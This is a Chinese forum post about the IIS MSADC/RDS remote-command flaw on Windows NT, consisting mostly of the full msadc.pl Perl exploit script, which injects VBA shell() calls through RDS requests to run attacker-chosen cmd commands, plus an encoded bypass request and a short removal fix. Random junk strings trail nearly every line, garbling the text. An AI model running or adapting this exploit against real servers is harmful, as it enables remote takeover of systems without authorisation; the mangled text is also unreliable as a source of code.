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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) goc"+ K  
43N=O FU  
涉及程序: kV$VKag*A  
Microsoft NT server S{zl <>+  
jNW/Biy4u  
描述: 1V ; ,ZGI*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ]9~6lx3/  
^2uT!<2  
详细: %RXFgm!{f  
如果你没有时间读详细内容的话,就删除: @WP%kX.?  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 92M_Z1_w[  
有关的安全问题就没有了。 v.Xmrry  
wZ/ b;%I!  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 [#/@ v/`  
qIk( ei  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 iH)-8Q  
关于利用ODBC远程漏洞的描述,请参看: 1p(9hVA  
n@9R|biO  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z`Xc] cPi  
_OJ19Ry  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 0-8'. C1v  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp xcQ:&q  
n(jrK9]  
这里不再论述。 s^GE>rf  
Pi=B\=gs  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ykNPKzW:  
@vvGhJ1m`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 89J7hnJC  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!  o*xft6U  
-\M;bQV[C  
idNg&'   
#将下面这段保存为txt文件,然后: "perl -x 文件名" Ui }%T]  
R9InUX"k  
#!perl hvF>Tu]^r  
# ~s>Ud<l%r  
# MSADC/RDS 'usage' (aka exploit) script _+. )8   
# AmBLZ<f;  
# by rain.forest.puppy "K#zY~>L  
# =VF%Z[Gm  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me \(ju0qFqH  
# beta test and find errors! 9^^:Y3j  
qfyuq]  
use Socket; use Getopt::Std; 8Oo16LPD  
getopts("e:vd:h:XR", \%args); ^q/_D%]C  
N6!$V7oT  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; }RZN3U=  
;%PI  
if (!defined $args{h} && !defined $args{R}) { 2~QN#u|UC3  
print qq~ P yN{  
Usage: msadc.pl -h <host> { -d <delay> -X -v } zE]h]$oi  
-h <host> = host you want to scan (ip or domain) </|m^$v  
-d <seconds> = delay between calls, default 1 second b!z kQ?h  
-X = dump Index Server path table, if available >e QFY^d5  
-v = verbose HI{IC!6  
-e = external dictionary file for step 5 nmUMg  
)"f*Mp  
Or a -R will resume a command session wQN/MYF[  
/t_AiM,(  
~; exit;} pFwhv w  
CF/8d6}Vf  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; z460a[Wl  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Mtq^6`JJ'  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 2Z*^)ZQB  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); @tPptB  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Io7o*::6iw  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 3zo:)N \K  
!Q5NV4gd+  
if (!defined $args{R}){ $ret = &has_msadc; n^%",*8gD*  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} _:VIlg U  
}vt>}%%  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 7kh(WtUz  
. "cmd /c "; 'klYGp  
$in=<STDIN>; chomp $in; br4 %(w(d  
$command="cmd /c " . $in ; T7j,%ay9  
?=%#lZ &?  
if (defined $args{R}) {&load; exit;} 0R}F( tjw  
nBGcf(BE.$  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; R9O1#s^  
&try_btcustmr; Un\ T} c  
^_JByB D  
print "\nStep 2: Trying to make our own DSN..."; Ep1p>s^  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [PL]!\NJ  
?TY/'-M5  
print "\nStep 3: Trying known DSNs..."; ;BYv&(#u1q  
&known_dsn; o/mGd~  
YB"=eld  
print "\nStep 4: Trying known .mdbs..."; \Qei}5P,  
&known_mdb; z-?WU  
poVtg}n  
if (defined $args{e}){ ljJR7<  
print "\nStep 5: Trying dictionary of DSN names..."; JId|LHf*P  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } UGK,+FN  
oE'Flc.  
print "Sorry Charley...maybe next time?\n"; D:Fi/JY~  
exit; "UTAh6[3oD  
*/A ~lR|  
############################################################################## ZoroK.N4A%  
,nz3S5~  
sub sendraw { # ripped and modded from whisker L<_zQ  
sleep($delay); # it's a DoS on the server! At least on mine... Kp%:\s,lO  
my ($pstr)=@_; Pze{5!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `E-cf7%  
die("Socket problems\n"); R6-Z]H u  
if(connect(S,pack "SnA4x8",2,80,$target)){ _/cL"Wf  
select(S); $|=1; {}N=pL8MS  
print $pstr; my @in=<S>; T/ TMi&:?.  
select(STDOUT); close(S); _A,mY6 *  
return @in; {qL}:ha?  
} else { die("Can't connect...\n"); }} b0 y*}  
Gc{s?rB_  
############################################################################## !Yu|au  
!MQVtn^C#  
sub make_header { # make the HTTP request F]6$4o[  
my $msadc=<<EOT y rmi:=N(  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 n+:}p D  
User-Agent: ACTIVEDATA .0iHI3i^  
Host: $ip ~oE@y6Q  
Content-Length: $clen ^4[|&E:  
Connection: Keep-Alive v7G&`4~  
s[#ww =T\  
ADCClientVersion:01.06 IHvrx:7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 CyD)=e {  
5nv1%48Ri  
--!ADM!ROX!YOUR!WORLD! nbdjk1E`~  
Content-Type: application/x-varg 6$LQO),,  
Content-Length: $reqlen Z$:iq  
Wd]MwDcO  
EOT *1CZRfWI  
; $msadc=~s/\n/\r\n/g; q1vsvL9Q  
return $msadc;} >!%F$$  
KIYs[0*k  
############################################################################## #Iwxt3K  
#Hi$squJ  
sub make_req { # make the RDS request Bf{c4YiF  
my ($switch, $p1, $p2)=@_; |}naI_Qudv  
my $req=""; my $t1, $t2, $query, $dsn; !\/J|~XZ  
G2 !J`}  
if ($switch==1){ # this is the btcustmr.mdb query @szr '&\%A  
$query="Select * from Customers where City=" . make_shell(); &AhkP=Yw  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . zHk7!|%Y  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} TI}Y U  
q@Oe}  
elsif ($switch==2){ # this is general make table query *PF=dx<8  
$query="create table AZZ (B int, C varchar(10))"; x5 ?>y{6D  
$dsn="$p1";} d .t$VRO  
;)rXQm  
elsif ($switch==3){ # this is general exploit table query *g!7PzJ'  
$query="select * from AZZ where C=" . make_shell(); !nt[J$.z^  
$dsn="$p1";} 40Hm+Ge  
i4H,Ggb  
elsif ($switch==4){ # attempt to hork file info from index server ,@0D_&JAl  
$query="select path from scope()"; ^@OdY& 5^  
$dsn="Provider=MSIDXS;";} J ` KyS  
%#iu  
elsif ($switch==5){ # bad query %)p?&_  
$query="select"; SCo;Ek  
$dsn="$p1";} (.N!(;G  
EiCEB;*z|d  
$t1= make_unicode($query); L{Kl!   
$t2= make_unicode($dsn); x f<wM]&  
$req = "\x02\x00\x03\x00"; sX,S]:X  
$req.= "\x08\x00" . pack ("S1", length($t1)); %2^wyVkq:  
$req.= "\x00\x00" . $t1 ; ?OF9{$m3?  
$req.= "\x08\x00" . pack ("S1", length($t2)); =U,mzY (  
$req.= "\x00\x00" . $t2 ; yrQf PR  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; s0*@zn>h  
return $req;} j-TRa,4bN  
#gSLFM{p  
############################################################################## <Xl/U^B  
qUKSo9  
sub make_shell { # this makes the shell() statement QZv}\C-c  
return "'|shell(\"$command\")|'";} /[+%<5s  
y{Vh?Z<E  
############################################################################## SmVL?wf  
B<oBo&uA  
sub make_unicode { # quick little function to convert to unicode ^vha4<'-qG  
my ($in)=@_; my $out; e]-%P(}Z  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } oUx%ra{  
return $out;} 0Ait7`  
M*2 Nq=3  
############################################################################## (Fs{~4T  
J+r:7NvZ  
sub rdo_success { # checks for RDO return success (this is kludge) 6 U_P  
my (@in) = @_; my $base=content_start(@in); jj6yf.r6c  
if($in[$base]=~/multipart\/mixed/){ ch]{ =61  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} jH?!\F2)+  
return 0;} ED^0t  
aDda&RM  
############################################################################## uS7kkzt-x  
_(F8}s  
sub make_dsn { # this makes a DSN for us ubUVxYD?  
my @drives=("c","d","e","f"); ]8CgHT[^7  
print "\nMaking DSN: "; qrufnu5cC  
foreach $drive (@drives) { HMmB90P`  
print "$drive: "; iB#*XJ;q  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . lb\VQZp!y  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 4Be\5Byr  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); MIdViS.g  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~}RfepM  
return 0 if $2 eq "404"; # not found/doesn't exist y-N]{!  
if($2 eq "200") { Fx )BMP  
foreach $line (@results) { -Pc6W9$  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} aKz:hG  
} return 0;} y3OF+;E  
3@\J#mR  
############################################################################## #jM-XK  
Bu"5NB  
sub verify_exists { T,h 9xl9i  
my ($page)=@_; wEC,Mbn  
my @results=sendraw("GET $page HTTP/1.0\n\n"); b)@rp  
return $results[0];} uF+0nv+  
_ o.j({S  
############################################################################## L :Ldk  
4d\V=_);r  
sub try_btcustmr { Ui.S)\B  
my @drives=("c","d","e","f"); DB3qf>@?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nM|F MK^  
Vh N6 oI  
foreach $dir (@dirs) { EO%"[k  
print "$dir -> "; # fun status so you can see progress ?OS0.  
foreach $drive (@drives) { a'(B}B=h  
print "$drive: "; # ditto Vrs?VA`v$  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; qyP={E9A  
$reqlenlen=length( "$reqlen" ); ZlP+t>  
$clen= 206 + $reqlenlen + $reqlen; MI)v@_1d  
LB`{35b-  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); oL@K{dk  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (dTQ,0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} !cW!zP-B*p  
@MO/LvD  
############################################################################## V.Tn1i-v  
PU8dr|!  
sub odbc_error {  fj'7\[nZ  
my (@in)=@_; my $base; )3k?{1:  
my $base = content_start(@in); <QD[hO^/  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this JJK-+a6cX  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Rqr>B(|  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rFaG-R  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3~:9ZWQ/  
return $in[$base+4].$in[$base+5].$in[$base+6];} N-W>tng_x  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; H$.K   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . LVT:oIQ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Kc, i$FH  
L~AU4Q0o  
############################################################################## "SRS{-p0  
aK/fZ$Qc  
sub verbose { HoK+g_9~  
my ($in)=@_; ]kd:p*U6P  
return if !$verbose; N(V_P[]"*,  
print STDOUT "\n$in\n";} aa" 3 Io  
A9;,y'm^8  
############################################################################## $O%"[w  
sou~m,#  
sub save { SDB \6[D  
my ($p1, $p2, $p3, $p4)=@_; Bj<s!}i{[  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4:5M,p  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; )qe rA  
close OUT;} y%?'<j  
'q?Y5@s  
############################################################################## voQJ!h1  
`aTw!QBfG  
sub load { PQp/ &D4K  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0TZB}c#qT  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); sUU[QP-  
@p=<IN>; close(IN); LI].*n/v  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Q[ ?R{w6  
$target= inet_aton($ip) || die("inet_aton problems"); "By$!R-&  
print "Resuming to $ip ..."; > l]Ble  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Ft?eqDS1  
if($p[1]==1) { V>/,&~0  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; vn!5@""T  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; hQ'W7EF  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); YmOj.Q&  
if (rdo_success(@results)){print "Success!\n";} R9!U _RH  
else { print "failed\n"; verbose(odbc_error(@results));}} OTl9MwW  
elsif ($p[1]==3){ .>z1BP:(  
if(run_query("$p[3]")){ YgdQC(ib  
print "Success!\n";} else { print "failed\n"; }} "blq)qo)  
elsif ($p[1]==4){ lV$CBS  
if(run_query($drvst . "$p[3]")){ t<ZBp0  
print "Success!\n"; } else { print "failed\n"; }} ;dPaWS1D  
exit;} U!NuiKaQ26  
g9fYt&  
############################################################################## h8X[*Wme  
XwFTAaZ  
sub create_table { .]s? 01Z  
my ($in)=@_; >]8(3&zd  
$reqlen=length( make_req(2,$in,"") ) - 28; -DK6(<:0  
$reqlenlen=length( "$reqlen" ); RMiDV^.u`  
$clen= 206 + $reqlenlen + $reqlen; UI"UBZZ$  
my @results=sendraw(make_header() . make_req(2,$in,"")); 2gh=0%|\gx  
return 1 if rdo_success(@results); _QEw=*.<  
my $temp= odbc_error(@results); verbose($temp); ;|0P\3  
return 1 if $temp=~/Table 'AZZ' already exists/; >I/@GX/  
return 0;} ;!G#Y Oe  
$v #  
############################################################################## bX$1PY X  
j1A%LS;c_  
sub known_dsn { dNhb vzl(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go CAC%lp  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 1DcX$b  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", g?Tev^D  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); W@ &a  
0KTO )K  
foreach $dSn (@dsns) { @_?2iN?4Z  
print "."; ar#73f  
next if (!is_access("DSN=$dSn")); <b .p/uA  
if(create_table("DSN=$dSn")){ QkC*om'/!  
print "$dSn successful\n"; v0VQ4>  
if(run_query("DSN=$dSn")){ @&Z^WN,x  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { : NA(nA 3  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 3UaW+@  
^ghYi|kQq  
############################################################################## n~]"sTC}&  
&bz% @p;  
sub is_access { }I-nT!D'y  
my ($in)=@_; >}\s-/  
$reqlen=length( make_req(5,$in,"") ) - 28; >$TvCw  
$reqlenlen=length( "$reqlen" ); "[!b5f3!I  
$clen= 206 + $reqlenlen + $reqlen; ' tY(&&  
my @results=sendraw(make_header() . make_req(5,$in,"")); +<.o,3  
my $temp= odbc_error(@results); LRts W(A/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); qB (Pqv  
return 0;} #>("(euXMF  
f}"eN/T  
############################################################################## bm 4RRI  
Y!_{:2H8p  
sub run_query { PPH;'!>s"  
my ($in)=@_; / Ws>;0  
$reqlen=length( make_req(3,$in,"") ) - 28; Sc/l.]k+  
$reqlenlen=length( "$reqlen" ); u*): D~A  
$clen= 206 + $reqlenlen + $reqlen; W#~7X  
my @results=sendraw(make_header() . make_req(3,$in,"")); kl]MP}wc  
return 1 if rdo_success(@results); h x&"fe  
my $temp= odbc_error(@results); verbose($temp); )v_v 7 ~H&  
return 0;} ,}&TZkN{-  
%4),P(4N  
############################################################################## YI ?P@y  
eA86~M?<o  
sub known_mdb { Rx&O}>"E>l  
my @drives=("c","d","e","f","g"); E r%&y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )ds]fvMW]N  
my $dir, $drive, $mdb; r'j88)^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2H}y1bkW  
Vj9X6u}{  
# this is sparse, because I don't know of many z4Zm%  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %jy$4qAf%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @B (oq1i@  
"\\system32\\certmdb.mdb", 8T9 s:/%  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% .Y{x!Q"  
v:/\; 2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", NI#]#yM+  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Fz';H  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", aqN{@|  
"\\cfusion\\cfapps\\security\\realm_.mdb", \OtreYi  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 'mbLK#q  
"\\cfusion\\database\\cfexamples.mdb", hdCd:6   
"\\cfusion\\database\\cfsnippets.mdb", O*GF/ R8B  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", !IdVg$7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", _wK.n.,S~  
"\\cfusion\\brighttiger\\database\\cleam.mdb", On}1&!{1]  
"\\cfusion\\database\\smpolicy.mdb", /uX*FZ  
"\\cfusion\\database\cypress.mdb", D$ K'Qk  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", WM?-BIlT=  
"\\website\\cgi-win\\dbsample.mdb", E&zf<Y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", #jW-&a  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" I2WP/  
); #these are just sWte&  
foreach $drive (@drives) { Z::I3 Q  
foreach $dir (@dirs){ O&BvWik  
foreach $mdb (@sysmdbs) { fMg9h9U  
print "."; )g dLb}  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ zUL,~u  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; QF/_?Tm4  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ zP%s]>hH  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; gAWi&  
} else { print "Something's borked. Use verbose next time\n"; }}}}} \hgd&H0UU  
P0}{xq'k9v  
foreach $drive (@drives) { =yZq]g6Q  
foreach $mdb (@mdbs) { Zh;wQCDj  
print "."; }W8A1-UF  
if(create_table($drv . $drive . $dir . $mdb)){ B6 (\1  
print "\n" . $drive . $dir . $mdb . " successful\n"; #4O4,F>e  
if(run_query($drv . $drive . $dir . $mdb)){ ah:["< z<  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; b(GV4%  
} else { print "Something's borked. Use verbose next time\n"; }}}} dT*Yv`h  
} H5x7)1Ir|  
Kh\ 7%>K#  
############################################################################## UgGa]b[9A  
'wk,t^)  
sub hork_idx { rZ `1G  
print "\nAttempting to dump Index Server tables...\n"; ih".y3  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ^#<L!yo^  
$reqlen=length( make_req(4,"","") ) - 28; "ktuq\a@  
$reqlenlen=length( "$reqlen" ); I{cH$jt<  
$clen= 206 + $reqlenlen + $reqlen; K 77iv  
my @results=sendraw2(make_header() . make_req(4,"","")); G-T^1?  
if (rdo_success(@results)){ W+!UVUpW  
my $max=@results; my $c; my %d; AE}cHBwZE  
for($c=19; $c<$max; $c++){ l;_IH|A  
$results[$c]=~s/\x00//g; 7j\^h2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; HK/WO jr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; g77M5(ME  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; sQ#e 2  
$d{"$1$2"}="";} hz4?ku  
foreach $c (keys %d){ print "$c\n"; } s6 g"uF>k  
} else {print "Index server doesn't seem to be installed.\n"; }} Pj <U|\-?  
d j\Z}[  
############################################################################## XYzaSp=bb  
T<pG$4_  
sub dsn_dict { w-pgtO|Us  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ce\d35x!  
while(<IN>){ RH;ulAD6(~  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; \s&Mz;:  
next if (!is_access("DSN=$dSn")); '-%1ILK$3r  
if(create_table("DSN=$dSn")){ .@,t}:lD  
print "$dSn successful\n"; d#0:U Y%~  
if(run_query("DSN=$dSn")){ z9ADF(J?0'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]@Zv94Z(  
print "Something's borked. Use verbose next time\n";}}} 6i[Ts0H%<!  
print "\n"; close(IN);} >NBc-DX^  
3@I0j/1#k1  
############################################################################## />S^`KSTM  
-j3Lgm  
sub sendraw2 { # ripped and modded from whisker a ~v$ bNu  
sleep($delay); # it's a DoS on the server! At least on mine... rpR yB9  
my ($pstr)=@_; 6h>#;M  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tdH[e0x B  
die("Socket problems\n"); gPKf8{#%e  
if(connect(S,pack "SnA4x8",2,80,$target)){ r& a[ ?  
print "Connected. Getting data"; G(a5@9F  
open(OUT,">raw.out"); my @in; RhE~Rwbx  
select(S); $|=1; print $pstr; +<1 |apS1  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} qS+;u`s  
close(OUT); select(STDOUT); close(S); return @in; | ky40[C  
} else { die("Can't connect...\n"); }} fwz:k]vk  
G{} 2"/   
############################################################################## bXnUz?1!d  
UUV5uDe>i  
sub content_start { # this will take in the server headers F<I*?${[  
my (@in)=@_; my $c; e3; &  
for ($c=1;$c<500;$c++) { %v8 &  
if($in[$c] =~/^\x0d\x0a/){ v@Uk% O/  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 7{F\b  
else { return $c+1; }}} R!j#  
return -1;} # it should never get here actually OZxJDg  
@.W;3|~qc  
############################################################################## M 5sk&>  
[LnPV2@e  
sub funky { uslu-|b!%  
my (@in)=@_; my $error=odbc_error(@in); <==uK>pET  
if($error=~/ADO could not find the specified provider/){ :'DyZy2Fd  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; {}YA7M:L  
exit;} +^Xf:r` G  
if($error=~/A Handler is required/){ bZYayjxZ5i  
print "\nServer has custom handler filters (they most likely are patched)\n"; ZG^<<V$h  
exit;} ] ]U)wg  
if($error=~/specified Handler has denied Access/){ d-~V.  
print "\nServer has custom handler filters (they most likely are patched)\n"; srv4kodj  
exit;}} G JRl{Y  
S1|u@d'  
############################################################################## rC-E+%y  
oPmz$]_Z  
sub has_msadc { 2&4nf/sE  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 1VgGF^cYR  
my $base=content_start(@results); W Ej{2+  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); xvOz*vM?  
return 0;} ))=6g@(  
eC!=4_lx)  
######################## q%4X1 W  
S oeoUI]m  
k9x[( #  
解决方案: RTc@`m3 M  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ev$:7}h=  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Gm B&TD m  
n*7^lAa2  
拿出来充数 哈哈
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